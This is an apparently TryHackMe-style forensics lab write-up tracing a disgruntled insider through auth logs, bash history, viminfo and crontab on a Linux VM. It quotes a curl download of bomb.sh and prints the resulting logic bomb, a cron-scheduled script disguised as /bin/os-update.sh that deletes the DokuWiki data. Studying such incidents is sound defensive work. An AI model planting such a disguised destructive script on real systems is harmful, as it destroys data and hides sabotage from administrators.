# Disgruntled

## Task 1 Introduction

Hey, kid! Good, you're here!

Not sure if you've seen the news, but an employee from the IT department of one of our clients (CyberT) got arrested by the police. The guy was running a successful phishing operation as a side gig.

CyberT wants us to check if this person has done anything malicious to any of their assets. Get set up, grab a cup of coffee, and meet me in the conference room.

## Connecting to the machine

Start the virtual machine in split-screen view by clicking on the green "Start Machine" button on the upper right section of this task. Alternatively, you can connect to the VM using the credentials below via "ssh".

| | |
|---|---|
| **Username** | root |
| **Password** | password |
| **IP** | 10.10.216.231 |

## Task 2 Linux Forensics review

### Pre-requisites

**This room requires basic knowledge of Linux and is based on the Linux Forensics room. A cheat sheet is attached below, which you can also download by clicking on the blue button on the right.**

## Task 3 Nothing suspicious... So far

Here's the machine our disgruntled IT user last worked on. Check if there's anything our client needs to be worried about.

My advice: Look at the privileged commands that were run. That should get you started.

**Answer the questions below**

**The user installed a package on the machine using elevated privileges. According to the logs, what is the full COMMAND?**

If a used runs a command using elevated privileges (if non root user ) in our case it is true , so the logs related to the commands is logged in the file var/log/auth.log

So try to analyze them

cat /var/log/auth.log* | grep COMMAND , observe the output for the user CyberT and command related to apt / installation of a package

```
root@ip-10-10-216-231:/home/ubuntu# cat /var/log/auth.log* | grep COMMAND
Dec 22 07:56:27 ip-10-10-158-38 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/date -s last year
Dec 22 07:56:36 ip-10-10-158-38 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/nano /etc/ssh/sshd_config
Dec 22 07:57:45 ip-10-10-158-38 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/systemctl restart ssh
Dec 22 07:58:09 ip-10-10-158-38 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/sbin/useradd -m cybert -s /bin/bash
Dec 22 07:58:14 ip-10-10-158-38 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/bin/passwd cybert
Dec 22 07:58:24 ip-10-10-158-38 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/sbin/visudo
Dec 28 06:17:30 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/apt install dokuwiki
Dec 28 06:18:12 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/rm /var/lib/dpkg/lock
Dec 28 06:18:17 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/dpkg --configure -a
Dec 28 06:18:33 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/lsof /var/lib/dpkg/lock
Dec 28 06:18:36 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/lsof /var/lib/dpkg/lock-frontend
Dec 28 06:18:47 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/rm /var/lib/dpkg/lock-frontend
Dec 28 06:18:52 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/dpkg --configure -a
Dec 28 06:19:01 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/apt install dokuwiki
Dec 28 06:20:46 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/chown www-data:www-data /usr/share/dokuwiki
Dec 28 06:20:55 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/chown www-data:www-data /usr/share/dokuwiki/VERSION /usr/share/dokuwiki/bin /usr
/share/dokuwiki/doku.php /usr/share/dokuwiki/feed.php /usr/share/dokuwiki/inc /usr/share/dokuwiki/index.php /usr/share/dokuwiki/install.php /usr/share/dokuwiki/lib /usr/share/dokuwiki/v
endor -R
Dec 28 06:21:05 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/chown www-data:www-data /var/lib/dokuwiki
Dec 28 06:21:14 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/chown www-data:www-data /var/lib/dokuwiki/acl /var/lib/dokuwiki/data /var/lib/do
kuwiki/inc /var/lib/dokuwiki/lib -R
Dec 28 06:21:20 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/ln -s /var/lib/dokuwiki/data /usr/share/dokuwiki/data
Dec 28 06:21:28 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/ln -s /etc/dokuwiki/license.php /usr/share/dokuwiki/conf/license.php
Dec 28 06:22:12 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/nano /etc/apache2/sites-available/dokuwiki.conf
Dec 28 06:22:25 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/a2ensite dokuwiki
Dec 28 06:22:37 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/systemctl reload apache2
Dec 28 06:26:52 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/adduser it-admin
Dec 28 06:27:34 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/visudo
Dec 28 06:29:14 ip-10-10-168-55 sudo: it-admin : TTY=pts/0 ; PWD=/home/it-admin ; USER=root ; COMMAND=/usr/bin/vi bomb.sh
Dec 28 06:30:10 ip-10-10-168-55 sudo: it-admin : TTY=pts/0 ; PWD=/home/it-admin ; USER=root ; COMMAND=/bin/nano /etc/crontab
Dec 28 07:01:22 ip-10-10-117-219 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/passwd root
Dec 28 07:01:30 ip-10-10-117-219 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/passwd root
Dec 28 07:14:07 ip-10-10-243-54 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/nano /etc/ssh/sshd_config
Dec 28 07:14:27 ip-10-10-243-54 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/service sshd restart
Feb 21 17:45:45 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
Feb 21 17:47:24 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
Feb 21 17:49:33 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
Feb 21 17:53:49 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
Feb 21 18:08:30 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
root@ip-10-10-216-231:/home/ubuntu#
```

/usr/bin/apt install dokuwiki

**What was the present working directory (PWD) when the previous command was run?**

Front the screenshot only we can say the dir is /home/cybert

# Task 4 Let’s see if you did anything bad

Keep going. Our disgruntled IT was supposed to only install a service on this computer, so look for commands that are unrelated to that.

**Answer the questions below**

**Which user was created after the package from the previous task was installed?**

Check for the adduser command in the logs

```
root@ip-10-10-216-231:/home/ubuntu# cat /var/log/auth.log* | grep COMMAND
Dec 22 07:56:27 ip-10-10-158-38 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/date -s last year
Dec 22 07:56:36 ip-10-10-158-38 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/nano /etc/ssh/sshd_config
Dec 22 07:57:45 ip-10-10-158-38 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/systemctl restart ssh
Dec 22 07:58:09 ip-10-10-158-38 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/sbin/useradd -m cybert -s /bin/bash
Dec 22 07:58:14 ip-10-10-158-38 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/bin/passwd cybert
Dec 22 07:58:24 ip-10-10-158-38 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/sbin/visudo
Dec 28 06:17:30 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/apt install dokuwiki
Dec 28 06:18:12 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/rm /var/lib/dpkg/lock
Dec 28 06:18:17 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/dpkg --configure -a
Dec 28 06:18:33 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/lsof /var/lib/dpkg/lock
Dec 28 06:18:36 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/lsof /var/lib/dpkg/lock-frontend
Dec 28 06:18:47 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/rm /var/lib/dpkg/lock-frontend
Dec 28 06:18:52 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/dpkg --configure -a
Dec 28 06:19:01 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/apt install dokuwiki
Dec 28 06:20:46 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/chown www-data:www-data /usr/share/dokuwiki
Dec 28 06:20:55 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/chown www-data:www-data /usr/share/dokuwiki/VERSIO
N /usr/share/dokuwiki/bin /usr/share/dokuwiki/doku.php /usr/share/dokuwiki/feed.php /usr/share/dokuwiki/inc /usr/share/dokuwiki/index.php /usr/share/dokuwi
ki/install.php /usr/share/dokuwiki/lib /usr/share/dokuwiki/vendor -R
Dec 28 06:21:05 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/chown www-data:www-data /var/lib/dokuwiki
Dec 28 06:21:14 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/chown www-data:www-data /var/lib/dokuwiki/acl /var
/lib/dokuwiki/data /var/lib/dokuwiki/inc /var/lib/dokuwiki/lib -R
Dec 28 06:21:20 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/ln -s /var/lib/dokuwiki/data /usr/share/dokuwiki/d
ata
Dec 28 06:21:28 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/ln -s /etc/dokuwiki/license.php /usr/share/dokuwik
i/conf/license.php
Dec 28 06:22:12 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/nano /etc/apache2/sites-available/dokuwiki.conf
Dec 28 06:22:25 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/a2ensite dokuwiki
Dec 28 06:22:37 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/systemctl reload apache2
Dec 28 06:26:52 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/adduser it-admin
Dec 28 06:27:34 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/visudo
Dec 28 06:29:14 ip-10-10-168-55 sudo: it-admin : TTY=pts/0 ; PWD=/home/it-admin ; USER=root ; COMMAND=/usr/bin/vi bomb.sh
Dec 28 06:30:10 ip-10-10-168-55 sudo: it-admin : TTY=pts/0 ; PWD=/home/it-admin ; USER=root ; COMMAND=/bin/nano /etc/crontab
```

it-admin

**A user was then later given sudo priveleges. When was the sudoers file updated? (Format: Month Day HH:MM:SS)**

Observe the logs we can see the user cybert edited the sudoers file using visudo

```
i/conf/license.php
Dec 28 06:22:12 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/nano /etc/apache2/sites-available/dokuwiki.conf
Dec 28 06:22:25 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/a2ensite dokuwiki
Dec 28 06:22:37 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/systemctl reload apache2
Dec 28 06:26:52 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/adduser it-admin
Dec 28 06:27:34 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/visudo
Dec 28 06:29:14 ip-10-10-168-55 sudo: it-admin : TTY=pts/0 ; PWD=/home/it-admin ; USER=root ; COMMAND=/usr/bin/vi bomb.sh
Dec 28 06:30:10 ip-10-10-168-55 sudo: it-admin : TTY=pts/0 ; PWD=/home/it-admin ; USER=root ; COMMAND=/bin/nano /etc/crontab
Dec 28 07:01:22 ip-10-10-117-219 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/passwd root
Dec 28 07:01:30 ip-10-10-117-219 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/passwd root
Dec 28 07:14:07 ip-10-10-243-54 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/nano /etc/ssh/sshd_config
Dec 28 07:14:27 ip-10-10-243-54 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/service sshd restart
Feb 21 17:45:45 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
Feb 21 17:47:24 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
Feb 21 17:49:33 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
Feb 21 17:53:49 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
Feb 21 18:08:30 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
```

Dec 28 06:27:34

**A script file was opened using the "vi" text editor. What is the name of this file?**

```
Dec 28 06:22:37 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/systemctl reload apache2
Dec 28 06:26:52 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/adduser it-admin
Dec 28 06:27:34 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/visudo
Dec 28 06:29:14 ip-10-10-168-55 sudo: it-admin : TTY=pts/0 ; PWD=/home/it-admin ; USER=root ; COMMAND=/usr/bin/vi bomb.sh
Dec 28 06:30:10 ip-10-10-168-55 sudo: it-admin : TTY=pts/0 ; PWD=/home/it-admin ; USER=root ; COMMAND=/bin/nano /etc/crontab
Dec 28 07:01:22 ip-10-10-117-219 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/passwd root
Dec 28 07:01:30 ip-10-10-117-219 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/passwd root
Dec 28 07:14:07 ip-10-10-243-54 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/bin/nano /etc/ssh/sshd_config
Dec 28 07:14:27 ip-10-10-243-54 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/service sshd restart
Feb 21 17:45:45 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
Feb 21 17:47:24 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
Feb 21 17:49:33 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
Feb 21 17:53:49 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
Feb 21 18:08:30 ip-10-10-237-12 sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/su
```

bomb.sh

# Task 5 Bomb has been planted. But when and where?

That `bomb.sh` file is a huge red flag! While a file is already incriminating in itself, we still need to find out where it came from and what it contains. The problem is that the file does not exist anymore.

**Answer the questions below**
**What is the command used that created the file `bomb.sh`?**

We need to check the bash_history of the user it-admin(we can get idea from the previous command ) / we have root access so changer to that used and type history else cat the cat .bash_history for this include the path of the user home dir

Use cat /home/it-admin/.bash_history

```
root@ip-10-10-216-231:/home/ubuntu# cat /home/it-admin/.bash_history
whoami
curl 10.10.158.38:8080/bomb.sh --output bomb.sh
ls
ls -la
cd ~/
curl 10.10.158.38:8080/bomb.sh --output bomb.sh
sudo vi bomb.sh
ls
rm bomb.sh
sudo nano /etc/crontab
exit
```

curl 10.10.158.38:8080/bomb.sh --output bomb.sh

**The file was renamed and moved to a different directory. What is the full path of this file now?**

From the history we can see the user used the vi editor so we can check the .viminfo

cat /home/it-admin/.viminfo

```
# Viminfo version
|1,4

# Value of 'encoding' when this file was written
*encoding=utf-8


# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:q!
|2,0,1672208992,,"q!"
:saveas /bin/os-update.sh
|2,0,1672208983,,"saveas /bin/os-update.sh"

# Search String History (newest to oldest):

# Expression History (newest to oldest):

# Input Line History (newest to oldest):

# Debug Line History (newest to oldest):

# Registers:

# File marks:
'0  6  0  /bin/os-update.sh
|4,48,6,0,1672208992,"/bin/os-update.sh"

# Jumplist (newest first):
-'  6  0  /bin/os-update.sh
|4,39,6,0,1672208992,"/bin/os-update.sh"
-'  1  0  /bin/os-update.sh
|4,39,1,0,1672208955,"/bin/os-update.sh"

# History of marks within files (newest to oldest):

> /bin/os-update.sh
        *       1672208988      0
```

/bin/os-update.sh

**When was the file from the previous question last modified? (Format: Month Day HH:MM)**

We can check the modification time of the file using the command stat

stat /bin/os-update.sh

```
root@ip-10-10-216-231:/home/ubuntu# stat /bin/os-update.sh
  File: /bin/os-update.sh
  Size: 325             Blocks: 8          IO Block: 4096   regular file
Device: 10302h/66306d   Inode: 26          Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2025-06-29 18:18:26.253249784 +0000
Modify: 2022-12-28 06:29:43.998004273 +0000
Change: 2022-12-28 06:29:43.998004273 +0000
 Birth: -
root@ip-10-10-216-231:/home/ubuntu#
```

Dec 28 06:29

**What is the name of the file that will get created when the file from the first question executes?**

While executing the command cat /var/log/auth.log* | grep COMMAN  I observed the user edited the crontab file so , he may added the os-update.sh file into the crontab to execute at specific time , to get the file that was created , open the so-update.sh file

```
root@ip-10-10-216-231:/home/ubuntu# cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
0 8     * * *   root    /bin/os-update.sh
#
root@ip-10-10-216-231:/home/ubuntu# cat /bin/os-update.sh
# 2022-06-05 - Initial version
# 2022-10-11 - Fixed bug
# 2022-10-15 - Changed from 30 days to 90 days
OUTPUT=`last -n 1 it-admin -s "-90days" | head -n 1`
if [ -z "$OUTPUT" ]; then
        rm -r /var/lib/dokuwiki
        echo -e "I TOLD YOU YOU'LL REGRET THIS!!! GOOD RIDDANCE!!! HAHAHAHA\n-mistermeist3r" > /goodbye.txt
fi
```

goodbye.txt

# Task 6  Following the fuse

So we have a file and a motive. The question we now have is: how will this file be executed?

Surely, he wants it to execute at some point?

**Answer the questions below**

**At what time will the malicious file trigger? (Format: HH:MM AM/PM)**

Open the crontab file and check

08:00 AM